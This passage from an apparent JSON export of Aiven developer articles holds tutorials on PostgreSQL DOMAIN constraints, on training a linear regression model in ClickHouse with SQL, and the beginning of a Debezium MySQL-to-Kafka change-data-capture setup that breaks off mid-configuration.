obeyed:\n\n```sql\nINSERT INTO ADDRESSES(NAME, ADDRESS) VALUES ('UGA', 'PIAZZA DEL CORSO 8A');\n```\n\nThe above insert is successful, since it follows the domain definition. But what happens if we try something different, like an address starting with `STRADA`?\n\n```sql\nINSERT INTO ADDRESSES(NAME, ADDRESS) VALUES ('UGO', 'STRADA NASCOSTA 5');\n```\n\nWe get an error, since the domain check is failing:\n\n```sql\nERROR: value for domain italian_address violates check constraint \"italian_address_check\"\n```\n\nOur domain is working as expected and we can now use it in other table definitions as well. For example if we have a `SHOPS` table that needs to contain a validated address, we can define it as `SHOPS ITALIAN_ADDRESS`. This is the beauty of the DOMAIN feature: one central definition, multiple usages.\n\n## Set a default value\n\nThe domain definition prohibits null values in the column, but we might want to allow an insert that skips the column definition by setting a domain default value:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS SET DEFAULT 'UNKNOWN ADDRESS';\n```\n\nNow, if we try to add a new customer without any associated address, we might expect a successful insert:\n\n```sql\nINSERT INTO ADDRESSES(NAME) VALUES ('LUIGI');\n```\n\nInstead we get an error:\n\n```sql\nERROR: value for domain italian_address violates check constraint \"italian_address_check\"\n```\n\nThe error is due to the fact that our default value `UNKNOWN ADDRESS` is not compliant with the constraint defined in the domain (it doesn't start with `VIA`, `VIALE` or `PIAZZA`). If we switch the default to a compatible value like `VIA UNKNOWN ADDRESS 1`:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS SET DEFAULT 'VIA UNKNOWN ADDRESS 1';\n```\n\nWe can successfully push the customer information without the address now:\n\n```sql\nINSERT INTO ADDRESSES(NAME) VALUES ('LUIGI');\n```\n\nChecking the data in the `ADDRESSES` table with: \n\n```sql\nSELECT * FROM ADDRESSES;\n```\n\nWill show the row for `LUIGI` with the default address set.\n\n```sql\n id | name | address\n----+-------+-----------------------\n 1 | UGA | PIAZZA DEL CORSO 8A\n 4 | LUIGI | VIA UNKNOWN ADDRESS 1\n(2 rows)\n```\n\nNote that there is a hierarchy for default values: Data type default -\u003e Domain default -\u003e Table column default.\n\nThe data type default value can be overridden by the domain default and the domain default can be overridden by the table column default.\n\n## Pay attention when altering domains\n\nChanging domains already in use can be tricky. For example, let's say that tomorrow italy decides that all `PIAZZA` addresses should be renamed to `PIZZA`, so we need to update our domain to reflect this. First we remove the old constraint:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n DROP CONSTRAINT ITALIAN_ADDRESS_CHECK;\n```\n\nThen add the new check, changing `PIAZZA` to `PIZZA`:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n ADD CONSTRAINT ITALIAN_ADDRESS_NEW_CHECK CHECK(UPPER(VALUE) ~ '^(VIA|VIALE|PIZZA) [A-Z \\-]+ [0-9]+[A-Z]*$');\n```\n\nBut the command above generates an error:\n\n```sql\nERROR: column \"address\" of table \"addresses\" contains values that violate the new constraint\n```\n\nWhy can't we enable the new constraint? Let's have a look at the data that doesn't satisfy the new constraint, with:\n\n```sql\nSELECT *\nfrom ADDRESSES\nwhere NOT ADDRESS ~ '^(VIA|VIALE|PIZZA) [A-Z \\-]+ [0-9]+[A-Z]*$';\n```\n\nThe `WHERE` clause in that query checks the address against the same regular expression as defined in the domain. The output is:\n\n```sql\n id | name | address\n----+------+---------------------\n 1 | UGA | PIAZZA DEL CORSO 8A\n(1 row)\n```\n\nWe can see that the `PIAZZA DEL CORSO 8A` row doesn't satisfy our new constraint (it should start with `PIZZA`). Let's define the constraint as `NOT VALID` for now:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n ADD CONSTRAINT ITALIAN_ADDRESS_NEW_CHECK CHECK(UPPER(VALUE) ~ '^(VIA|VIALE|PIZZA) [A-Z \\-]+ [0-9]+[A-Z]*$') NOT VALID;\n```\n\nThe `NOT VALID` clause, allows us to add the constraint but not validate the rows in the table. If we check the validity:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n VALIDATE CONSTRAINT ITALIAN_ADDRESS_NEW_CHECK;\n```\n\nWe still get the same error since we didn't update the data:\n\n```sql\nERROR: column \"address\" of table \"addresses\" contains values that violate the new constraint\n```\n\nWe need to update the data in the table:\n\n```sql\nUPDATE ADDRESSES SET ADDRESS=REPLACE(ADDRESS, 'PIAZZA', 'PIZZA') WHERE ADDRESS LIKE 'PIAZZA%';\n```\n\nThen check the data with `SELECT * FROM ADDRESSES;`\n\n```sql\n id | name | address\n----+-------+-----------------------\n 1 | UGA | PIZZA DEL CORSO 8A\n 4 | LUIGI | VIA UNKNOWN ADDRESS 1\n(2 rows)\n```\n\nThe `UGA` row should now be in line with the new constraint, so we can validate it:\n\n```sql\nALTER DOMAIN ITALIAN_ADDRESS\n VALIDATE CONSTRAINT ITALIAN_ADDRESS_NEW_CHECK;\n```\n\nSuccess! Now the check is enabled, therefore trying to insert a `PIAZZA` address is prohibited.\n\n```sql\nINSERT INTO ADDRESSES (NAME, ADDRESS) VALUES ('CARLA', 'PIAZZA MAGGIORE 33');\n```\n\nThe above SQL throws the error:\n\n```sql\nERROR: value for domain italian_street violates check constraint \"italian_street_new_check\"\n```\n\nBesides this example, another catch with the `ALTER DOMAIN` command is that any expression or function we add as part of the domain creation should be immutable. If we have a user-defined function as part of the `CREATE DOMAIN` expression, and we're able to modify the expression/function **after** domain creation, we'll get an error when reloading the data in that database.\n\n## Pay attention when dropping\n\nWhat happens when dropping a domain used in one or more tables?\n\n```sql\nDROP DOMAIN ITALIAN_ADDRESS;\n```\n\nWe get the following error, signaling that there are dependencies\n\n```sql\nERROR: cannot drop type italian_address because other objects depend on it\nDETAIL: column address of table addresses depends on type italian_address\nHINT: Use DROP ... CASCADE to drop the dependent objects too.\n```\n\nIf we really want to drop it we can use the `CASCADE` option:\n\n```sql\nDROP DOMAIN ITALIAN_ADDRESS CASCADE;\n```\n\nCheck the table:\n\n```sql\nSELECT * FROM ADDRESSES;\n```\n\nNo `ADDRESS` column anymore!\n\n```sql\n id | name\n----+-------\n 1 | UGA\n 4 | LUIGI\n(2 rows)\n```\n\nIt's difficult to drop an in-use domain without affecting the rest of the database tables. The beauty of centrally managed column definition is playing against us in this scenario. Since the definition is unique, any table using it will have columns disappear if the related definition gets deleted.\n\n## Conclusion\n\nPostgreSQL domains are a powerful feature, allowing a central definition of column validation rules that can be then applied across several tables. The evolution of the definition can be tricky, but for standard, non-evolving columns it can represent a good way to centralize the definition and checks.\n\nCheck out some additional resources on the topic:\n\n* [PostgreSQL create domain documentation](https://www.postgresql.org/docs/current/sql-createdomain.html)\n* [PostgreSQL alter domain documentation](https://www.postgresql.org/docs/current/sql-alterdomain.html)\n* [PostgreSQL regular expressions documentation](https://www.postgresql.org/docs/current/functions-matching.html)\n* [Aiven for PostgreSQL®](https://aiven.io/postgresql)\n* [Aiven for PostgreSQL® documentation](https://aiven.io/docs/products/postgresql)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-05-11T09:52:16.887Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"aa249bf9bbc4","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"}],"publishedAt":"2023-05-04T09:50:59.995Z","seo":{"_type":"metaData","metaDescription":"Learn how to effectively use PostgreSQL® DOMAIN rules to validate columns of data. Improve your workflows today and visit the Aiven Developer Center.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-90b5e83431dc61d2f8b601b7820c3c67df46aabc-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/use-postgresql-domain-rules-to-validate"},"subtitle":"Learn how to validate your data as it goes into your databases to improve data quality","tags":[{"_key":"b0121d5ff714","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"747c373a6657","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"8eaf8fb8a3f4","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Use PostgreSQL® DOMAIN rules to validate columns of data"} {"__i18n_lang":"en","_createdAt":"2024-03-04T11:01:31Z","_id":"fe0e3023-05d0-4a30-830b-6c03fb4e23c7","_rev":"bjd9bS9uM8kqzH43T73bmy","_type":"devArticle","_updatedAt":"2024-03-04T16:44:40Z","body":"ClickHouse® is a well known analytical database, but one of its less known feature is the ability to train AI models and perform live scoring with a set of SQL statements. In this tutorial we'll showcase how, starting from a taxi dataset, we can train a Logistic Regression model and use it for predicting the future cost of a ride.\n## Prerequisites \n\n- An Aiven account. [Sign up for a free trial today](https://aiven.io/signup)\n- [Docker](https://docs.docker.com/get-docker/) to interact with the ClickHouse® service to upload the data and query it\n\n## Start with Aiven for ClickHouse \n\nWe can create an ClickHouse service with the following process:\n\n1. Access the [Aiven Console](https://console.aiven.io/)\n2. Create an Aiven for ClickHouse® service and specify:\n \n * The cloud provider and region\n * The service plan, defining the size of the service. We can use the free tier for the purpose of this tutorial\n * The additional storage disk size\n * The service name \n\n3. Click on **Create**\n\nWait a couple of minutes until the service is in `RUNNING` state.\n\n## Load the data\n\nFor this tutorial, we'll use a dataset containing [New York taxi trip data from Kaggle](https://www.kaggle.com/datasets/microize/newyork-yellow-taxi-trip-data-2020-2019?resource=download). Navigate to the [Kaggle](https://www.kaggle.com/datasets/microize/newyork-yellow-taxi-trip-data-2020-2019?resource=download) website, download the file and unzip it. The folder contains a set of files with the naming pattern `yellow_tripdata_YYYY-MM.csv`. Each one includes a month of taxi rides in the years `2019` and `2020`.\n\nTo load it in Aiven for ClickHouse, connect to the database with the `clickhouse-client` Docker image:\n\n```bash\ndocker run -it \\\n--rm clickhouse/clickhouse-server clickhouse-client \\\n--user USERNAME \\\n--password PASSWORD \\\n--host HOST \\\n--port PORT \\\n--secure\n```\n\n::alert[You can find the `USERNAME`, `PASSWORD`, `HOST` and `PORT` information in the [Aiven Console](https://console.aiven.io/), under the Aiven for ClickHouse service overview page in the **ClickHouse Native** tab.]\n\n\nCreate a `taxi_trips_train` table for our training dataset:\n\n```sql\nCREATE TABLE taxi_trips_train (\n VendorID UInt32,\n tpep_pickup_datetime DateTime,\n tpep_dropoff_datetime DateTime,\n passenger_count UInt32,\n trip_distance Float32,\n RatecodeID UInt32,\n store_and_fwd_flag String,\n PULocationID UInt32,\n DOLocationID UInt32,\n payment_type Enum('CSH' = 1, 'CRE' = 2, 'NOC' = 3, 'DIS' = 4, 'UNK' = 5),\n fare_amount Float32,\n extra Float32,\n mta_tax Float32,\n tip_amount Float32,\n tolls_amount Float32,\n improvement_surcharge Float32,\n total_amount Float32,\n congestion_surcharge Float32,\n)\nENGINE = MergeTree\nPRIMARY KEY (tpep_pickup_datetime, tpep_dropoff_datetime);\n```\n\nCreate another table, named `taxi_trips_test` for our testing dataset:\n\n```sql\nCREATE TABLE taxi_trips_test (\n VendorID UInt32,\n tpep_pickup_datetime DateTime,\n tpep_dropoff_datetime DateTime,\n passenger_count UInt32,\n trip_distance Float32,\n RatecodeID UInt32,\n store_and_fwd_flag String,\n PULocationID UInt32,\n DOLocationID UInt32,\n payment_type Enum('CSH' = 1, 'CRE' = 2, 'NOC' = 3, 'DIS' = 4, 'UNK' = 5),\n fare_amount Float32,\n extra Float32,\n mta_tax Float32,\n tip_amount Float32,\n tolls_amount Float32,\n improvement_surcharge Float32,\n total_amount Float32,\n congestion_surcharge Float32,\n)\nENGINE = MergeTree\nPRIMARY KEY (tpep_pickup_datetime, tpep_dropoff_datetime);\n```\n\nThen exit from the docker container:\n\n```bash\nexit\n```\n\nNext, we need to clean our data source a little. Remove the Windows end of line symbols from `yellow_tripdata_2019-01.csv`, representing our training dataset, with:\n\n```bash\ntr -d '\\015' \u003cyellow_tripdata_2019-01.csv \u003eyellow_tripdata_2019-01-polished.csv\n```\n\nThen load the data from the `yellow_tripdata_2019-01-polished.csv` file to the `taxi_trips_train` table with:\n\n```bash\ncat yellow_tripdata_2019-01-polished.csv | docker run -i \\\n--rm clickhouse/clickhouse-server clickhouse-client \\\n--user USERNAME \\\n--password PASSWORD \\\n--host HOST \\\n--port PORT \\\n--secure \\\n--max_insert_block_size=100000 \\\n--query=\"\"\"INSERT INTO taxi_trips_train FORMAT CSVWithNames\"\"\"\n```\n\nLoad the `yellow_tripdata_2019-02.csv` data in the `taxi_trips_test`, this represents our testing dataset\n\n```bash\ntr -d '\\015' \u003cyellow_tripdata_2019-02.csv \u003eyellow_tripdata_2019-02-polished.csv\ncat yellow_tripdata_2019-02-polished.csv | docker run -i \\\n--rm clickhouse/clickhouse-server clickhouse-client \\\n--user USERNAME \\\n--password PASSWORD \\\n--host HOST \\\n--port PORT \\\n--secure \\\n--max_insert_block_size=100000 \\\n--query=\"\"\"INSERT INTO taxi_trips_test FORMAT CSVWithNames\"\"\"\n```\n\n\n## Train a stochastic linear regression model \n\nOnce the data is uploaded, we can focus on the main task of training an AI model. Checking the dataset, we can notice the presence of a column called `fare_amount` representing the fare as calculated by the meter based on time and distance. In the next section we'll build a model to predict the `fare_amount` based on other columns in the dataset and we'll use a stochastic linear regression model built in ClickHouse to achieve it.\n\nTo train the model, connect to ClickHouse again:\n\n```bash\ndocker run -it \\\n--rm clickhouse/clickhouse-server clickhouse-client \\\n--user USERNAME \\\n--password PASSWORD \\\n--host HOST \\\n--port PORT \\\n--secure\n```\n\nThen execute the following SQL to train the stochastic linear regression model: \n\n```sql\nCREATE TABLE taxi_trips_model ENGINE = Memory AS \nSELECT\n stochasticLinearRegressionState(0.001, 0.1, 15, 'Adam')(\n fare_amount, \n passenger_count, \n trip_distance, \n RatecodeID, \n PULocationID, \n DOLocationID\n )\nAS state FROM taxi_trips_train;\n```\n\nThe above statement trains a stochastic linear regression model with the following parameters:\n\n* `taxi_trips_model` as name\n* `0.001` as learning rate\n* `0.1` as l2 regularization coefficient\n* `15` as mini-batch size\n* `Adam` as method for updating weights\n* `fare_amount` as target column\n* `passenger_count`, `trip_distance`, `RatecodeID`, `PULocationID`, and `DOLocationID` as training parameters\n\n## Test the stochastic linear regression model \n\nAfter building the model, let's test it against our `taxi_trips_test` dataset. We can compare the actual `fare_amount` in our test dataset with the prediction from the `taxi_trips_model` with:\n\n```sql\nWITH (SELECT state FROM taxi_trips_model) AS model\nSELECT \n rowNumberInAllBlocks(),\n fare_amount,\n evalMLMethod(\n model,\n passenger_count,\n trip_distance,\n RatecodeID,\n PULocationID,\n DOLocationID\n ) prediction\nFROM taxi_trips_test limit 10;\n```\n\nThe above SQL:\n* Retrieves the `state` from the `taxi_trips_model` model\n* Includes the row number with the `rowNumberInAllBlocks()` function\n* Selects the `fare_amount` from the test dataset\n* includes the prediction from the model using the `evalMLMethod` function, passing the same columns used for training, but coming from the test dataset\n\nThe results showcases predictions not too far from the actual data\n\n```\n┌─rowNumberInAllBlocks()─┬─fare_amount─┬────prediction─┐\n │ 0 │ 52 │ 57.29841872226803 │\n │ 1 │ 42.5 │ 43.8984970367608 │\n │ 2 │ 7 │ 7.425320721767511 │\n │ 3 │ 10 │ 11.119674442058924 │\n │ 4 │ 11.5 │ 13.151729718574753 │\n │ 5 │ 7 │ 7.861355191000587 │\n │ 6 │ 9.5 │ 10.534773043722428 │\n │ 7 │ 9 │ 10.270891195885282 │\n │ 8 │ 5.5 │ 6.191941850198845 │\n │ 9 │ 16 │ 17.262316387594158 │\n└───────────────┴─────────┴───────────┘\n```\n\n## Measure the stochastic linear regression model performance\n\nHow does the model perform? In the AI/ML field there are a set of different KPIs to understand the quality of a model. We are going to use the mean absolute error (MAE) in this example. The MAE calculates the average difference between the prediction and the actual value in the testing dataset. We can calculate the overall MAE with:\n\n```sql\nWITH (SELECT state FROM taxi_trips_model) AS model,\npred as (SELECT \n rowNumberInAllBlocks() rownum,\n fare_amount,\n evalMLMethod(\n model,\n passenger_count,\n trip_distance,\n RatecodeID,\n PULocationID,\n DOLocationID\n ) prediction\nFROM taxi_trips_test)\nSELECT\n avg(abs(fare_amount - prediction)) AS MAE,\n avg(fare_amount) AS avg_fare_amount,\n avg(abs(fare_amount - prediction))*100.0/avg(fare_amount) pct\nFROM pred WHERE fare_amount \u003e 0 and fare_amount \u003c= 500;\n```\n\nThe above query calculates:\n* The `MAE` as the average of the absolute difference between the actual `total_amount` and the `prediction`\n* The average `total_amount`\n* The weight of the `MAE` on the `total_amount`\n\nThe results say that our model is off on `2.03` dollars per trip, the error is around `15.97%`. Not bad for a single SQL query. \n\n```\n┌────────MAE─┬────avg_fare_amount─┬─────────pct─┐\n │ 2.035759828017413 │ 12.746705737557932 │ 15.970870199184755 │\n└───────────┴──────────────┴────────────┘\n```\n\n## Improve the model with feature engineering in ClickHouse\n\nCan we improve the performance? Yes with some feature engineering! Feature engineering is the practice of creating a new set of parameters for the model to be more accurate. You can derive these parameters from existing parameters, enriched with external sources, or aggregated from various fields. All the above actions are native to ClickHouse that allows us to explore the data and reshape it as needed.\n\nFirst step is to check the data quality; let's investigate the presence of outliers in the `fare_amount` column by bucketing the data in 10$ buckets:\n\n```sql\nselect \n cast(fare_amount/10 as int)*10,\n count(*) \nfrom taxi_trips_train\ngroup by \n cast(fare_amount/10 as int)*10\norder by 1\n```\n\nNotice that there are a lot of trips with negative `fare_amount` as well as amounts greater than 500$. This is probably mistakes in the data collection and outliers we might want to take into account when creating the model.\n\nLet's create a new model that:\n\n* Excludes the outliers identified above with cost greater than 500$\n* Predicts the absolute value of `fare_amount` avoiding the negative numbers\n* Includes, as additional parameters: \n * The pickup hour \n * The pickup day of the week\n * The time from pickup to dropoff in buckets of `10` minutes \n\nFirst, drop the existing `taxi_trips_model_enhanced` table:\n\n```sql\ndrop table taxi_trips_model_enhanced;\n```\n\nThen re-create it with our new model:\n\n```sql\n\nCREATE TABLE taxi_trips_model_enhanced ENGINE = Memory AS \nSELECT\n stochasticLinearRegressionState(0.001, 0.1, 15, 'Adam')(\n abs(fare_amount),\n toDayOfWeek(tpep_pickup_datetime),\n toHour(tpep_pickup_datetime),\n age('minute', tpep_pickup_datetime, tpep_dropoff_datetime)/10,\n passenger_count,\n trip_distance,\n RatecodeID,\n PULocationID,\n DOLocationID\n )\nAS state FROM taxi_trips_train\nWHERE fare_amount \u003c= 500;\n```\n\nThe pickup hour and day of the week are added to the new `taxi_trips_model_enhanced` model by the `toDayOfWeek(tpep_pickup_datetime)` and `toHour(tpep_pickup_datetime)` columns. The calculation `age('minute', tpep_pickup_datetime, tpep_dropoff_datetime)/10` provides the time in minutes between pickup and dropoff in buckets of `10` minutes. \n\nWe can test the new model with:\n\n```sql\nWITH (SELECT state FROM taxi_trips_model_enhanced) AS model,\npred as (SELECT \n rowNumberInAllBlocks() rownum,\n fare_amount,\n evalMLMethod(\n model,\n toDayOfWeek(tpep_pickup_datetime),\n toHour(tpep_pickup_datetime),\n age('minute', tpep_pickup_datetime, tpep_dropoff_datetime)/10,\n passenger_count,\n trip_distance,\n RatecodeID,\n PULocationID,\n DOLocationID\n ) prediction\nFROM taxi_trips_test)\nSELECT\n avg(abs(abs(fare_amount) - prediction)) AS MAE,\n avg(abs(fare_amount)) AS avg_fare_amount,\n avg(abs(abs(fare_amount) - prediction))*100.0/avg(fare_amount) pct\nFROM pred WHERE abs(fare_amount) \u003c= 500;\n```\n\nThe result shows an improvement, compared to the previous model, of more than `1%`.\n\n```\n┌────────────────MAE─┬────avg_fare_amount─┬────────────────pct─┐\n│ 1.8768253472744798 │ 12.658898150895748 │ 14.854519179740457 │\n└────────────────────┴────────────────────┴────────────────────┘\n```\n\n\nYou can build in further improvements to the model parameters to raise its precision. This tutorial demonstrates how, with just SQL statements, you can train and test a stochastic linear regression model all within ClickHouse.\n\n## Conclusion\n\nAdding artificial intelligence in your application doesn't always require external tools. This removes the security barriers you set up in your database and exposing you to the risk of accidental data access or usage of stale data. Modern databases like ClickHouse exposes interesting functionality that allows you to implement model training and prediction directly where your data resides, enabling you to keep your data secure and performant.","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-11T11:01:20.407Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"publishedAt":"2024-03-04T11:51:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Develop and leverage AI models in ClickHouse®","asset":{"_ref":"image-d41d3c92e2e3f55a3bb3660af7578f4b262e0447-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/clickhouse-training-scoring-ai-models"},"subtitle":"Learn how to train AI models and perform live scoring with a set of SQL statements and Aiven for ClickHouse®","tags":[{"_key":"15719c25c8b4","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"a8a1b9c42887","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"7a8b2b2d36ac","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"aff193db0b3e","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Develop and leverage AI models in ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2023-09-11T17:34:49Z","_id":"cedb6945-6c85-44e7-bdef-96f1acebcf76","_rev":"Q24z0UHVNOApM4mVCtarPv","_type":"devArticle","_updatedAt":"2024-12-03T12:15:31Z","body":"Change Data Capture (CDC) is the process of tracking the changes happening in one or more database table in a source system and propagating them to a target technology. The objective of this tutorial is to create a CDC flow from a source table in a [MySQL](https://aiven.io/docs/products/mysql) database to [Apache Kafka®](https://aiven.io/docs/products/kafka) via the Kafka Connect [Debezium Source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-mysql).\n\n::alert[This article describes the configuration for Debezium version 2.5 and later.]{title=\"Debezium 2.5\" type=\"info\"}\n\n## Change Data Capture from MySQL to Apache Kafka via Kafka Connect\n\nIn order to setup a change data capture process tracking the changes from a MySQL database to Apache Kafka, we can use [Kafka Connect](https://aiven.io/docs/products/kafka/kafka-connect), a framework which integrates Apache Kafka with external systems. \n\nThere are two types of Kafka Connect connectors we can use to set up a CDC process between MySQL and Apache Kafka:\n* The [JDBC Source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-mysql), a query based approach which periodically pulls the latest changes from MySQL into Kafka.\n* The [Debezium Source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-mysql), which reads from a MySQL binary log (binlog) and streams the changes to Apache Kafka.\n\nWhile both connectors can move MySQL data into Apache Kafka, the Debezium connector tracks the changes in streaming mode (not in a query based batch mode). This allows us to enhance the extracted data with useful metadata like transaction, IDs and timestamps, and pre-post update details.\n\nThe following tutorial guides you through setting up a CDC process using the Debezium connector.\n\n## Environment setup\n\nThe first step into setting up a CDC process is to create the source MySQL database and the target Apache Kafka cluster with Kafka Connect enabled. We'll use [Aiven for MySQL](https://aiven.io/mysql) and [Aiven for Apache Kafka®](https://aiven.io/kafka) to do this. \n\n1. Create an [Aiven account](https://console.aiven.io/signup)\n2. Install the [Aiven Command Line Interface (CLI)](https://aiven.io/docs/tools/cli)\n3. Login into the Aiven CLI using:\n\n```bash\navn user login\n```\n\nCreate a Aiven for MySQL service named `demo-mysql-source`:\n\n```bash\navn service create demo-mysql-source \\\n --service-type mysql \\\n --plan free-1-5gb \\\n --cloud aws-eu-west-1\n```\n\nCreate an Aiven for Apache Kafka service named `demo-kafka` with Kafka Connect and Schema Registry enabled:\n\n```bash\navn service create demo-kafka \\\n --service-type kafka \\\n --plan business-4 \\\n --cloud aws-eu-west-1 \\\n -c kafka_connect=true \\\n -c schema_registry=true \\\n -c kafka.auto_create_topics_enable=true\n```\n\nWait for the services to start with:\n\n```bash\navn service wait demo-mysql-source\navn service wait demo-kafka\n```\n\n## Create and populate the MySQL table\n\nOnce the services are up and running, we can create the table in MySQL in which we'll track the changes. To create and populate the table:\n\nGet the Aiven for MySQL connection details:\n\n```bash\navn service get demo-mysql-source --format '{service_uri_params}'\n```\n\nUse the `mysql` command to connect to the database. Replace the placeholders for `\u003cMYSQL_USERNAME\u003e`, `\u003cMYSQL_PASSWORD\u003e`, `\u003cMYSQL_HOSTNAME\u003e`, `\u003cMYSQL_PORT\u003e` and `\u003cMYSQL_DATABASE_NAME\u003e` with the values taken from the command above. Alternatively, you can find the pre-filled `mysql` command from the **Quick Connect** button in the Aiven Console service overview.\n\n```bash\nmysql --user \u003cMYSQL_USERNAME\u003e \\\n --password=\u003cMYSQL_PASSWORD\u003e \\\n --host \u003cMYSQL_HOSTNAME\u003e \\\n --port \u003cMYSQL_PORT\u003e \\\n \u003cMYSQL_DATABASE_NAME\u003e\n```\n\n::alert[You can install the `mysql` command line tool using the [MySQL installation guide](https://dev.mysql.com/doc/mysql-installation-excerpt/8.0/en/).]{title=\"Note\"}\n\nCreate a table called `users` with a numeric `id` column, a `username` string and populate with three rows for `Francesco`, `Ana`, and `Floor`\n\n```bash\ncreate table users (id serial primary key, username varchar(100));\ninsert into users (username) values ('Francesco'),('Ana'),('Floor');\n```\n\nVerify that the above commands are successful by checking the `users` table with:\n\n```bash\nselect * from users;\n```\n\nThe result should be similar to the below:\n\n```bash\n+----+-----------+\n| id | username |\n+----+-----------+\n| 1 | Francesco |\n| 2 | Ana |\n| 3 | Floor |\n+----+-----------+\n```\n\n## Create a Kafka Connect Connector\n\nTo create the CDC pipeline, we need to define the settings of the Kafka Connect [Debezium Source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-mysql). These settings contain:\n\n* The source MySQL connection parameters, which allow the connector to fetch the data\n* The target Apache Kafka connection parameters, which allow the connector to store the versioning of the table structure. This step is optional, but it might be useful to track DDL changes to be able to replicate changes to a target MySQL database. \n* The target Apache Kafka schema registry connection parameters, which allow the connector to define schemas and store the data in Apache Avro™ format.\n\n### Get the connection parameters\n\nAs done in the section above, we can use the `avn service get` command to retrieve the Aiven for MySQL parameters:\n\n```bash\navn service get demo-mysql-source --format '{service_uri_params}'\n``` \n\nWe can do the same to retrieve the Apache Kafka Schema Registry parameters needed for the schema integration. You can fetch the connection details with:\n\n```bash\navn service get demo-kafka --json | jq '.connection_info.schema_registry_uri'\n```\n\n::alert[Note: the above command uses [jq](https://jqlang.github.io/jq/) to parse the `avn` command output and retrieve the connection URI which will be in the format `https://\u003cSCHEMA_REGISTRY_USER\u003e:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cAPACHE_KAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e`. You'll need to parse the information to fill the Kafka Connect connector configuration file in the following section.]{title=\"Note\"}\n\nTo retrieve the Apache Kafka endpoint, which we'll use to track the DDL changes in a topic:\n\n```bash\navn service get demo-kafka --format '{service_uri}'\n```\n\n### Define the Debezium source connector configuration file\n\nIn a file named `mysql_source_deb_connector.json` add the following JSON configuration to define the Debezium connector configuration:\n\n```\n{\n \"name\":\"\u003cCONNECTOR_NAME\u003e\",\n \"connector.class\": \"io.debezium.connector.mysql.MySqlConnector\",\n \"database.hostname\": \"\u003cMYSQL_HOST\u003e\",\n \"database.port\": \"\u003cMYSQL_PORT\u003e\",\n \"database.user\": \"\u003cMYSQL_USER\u003e\",\n \"database.password\": \"\u003cMYSQL_PASSWORD\u003e\",\n \"database.dbname\": \"\u003cMYSQL_DATABASE_NAME\u003e\",\n \"database.ssl.mode\": \"\u003cMYSQL_SSL_MODE\u003e\",\n \"database.server.id\": \"\u003cUNIQUE_ID\u003e\",\n \"topic.prefix\": \"\u003cKAFKA_TOPIC_PREFIX\u003e\",\n \"table.include.list\": \"\u003cMYSQL_TABLES\u003e\",\n \"tasks.max\":\"\u003cNR_TASKS\u003e\",\n \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"key.converter.schema.registry.url\": \"https://\u003cAPACHE_KAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"key.converter.schema.registry.basic.auth.user.info\": \"\u003cSCHEMA_REGISTRY_USER\u003e:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"value.converter.schema.registry.url\": \"https://\u003cAPACHE_KAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"value.converter.schema.registry.basic.auth.user.info\": \"\u003cSCHEMA_REGISTRY_USER\u003e:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n \"schema.history.internal.kafka.topic\": \"\u003cHISTORY_TOPIC_NAME\u003e\",\n \"schema.history.internal.kafka.bootstrap.servers\": \"\u003cAPACHE_KAFKA_HOST\u003e:\u003cAPACHE_KAFKA_PORT\u003e\",\n \"schema.history.internal.producer.security.protocol\": \"SSL\",\n \"schema.history.internal.producer.ssl.keystore.type\": \"PKCS12\",\n \"schema.history.internal.producer.ssl.keystore.location\": \"/run/aiven/keys/public.keystore.p12\",\n \"schema.history.internal.producer.ssl.keystore.password\": \"password\",\n \"schema.history.internal.producer.ssl.truststore.location\": \"/run/aiven/keys/public.truststore.jks\",\n \"schema.history.internal.producer.ssl.truststore.password\": \"password\",\n \"schema.history.internal.producer.ssl.key.password\": \"password\",\n \"schema.history.internal.consumer.security.protocol\": \"SSL\",\n \"schema.history.internal.consumer.ssl.keystore.type\": \"PKCS12\",\n \"schema.history.internal.consumer.ssl.keystore.location\": \"/run/aiven/keys/public.keystore.p12\",\n \"schema.history.internal.consumer.ssl.keystore.password\": \"password\",\n \"schema.history.internal.consumer.ssl.truststore.location\": \"/run/aiven/keys/public.truststore.jks\",\n \"schema.history.internal.consumer.ssl.truststore.password\": \"password\",\n \"schema.history.internal.consumer.ssl.key.password\": 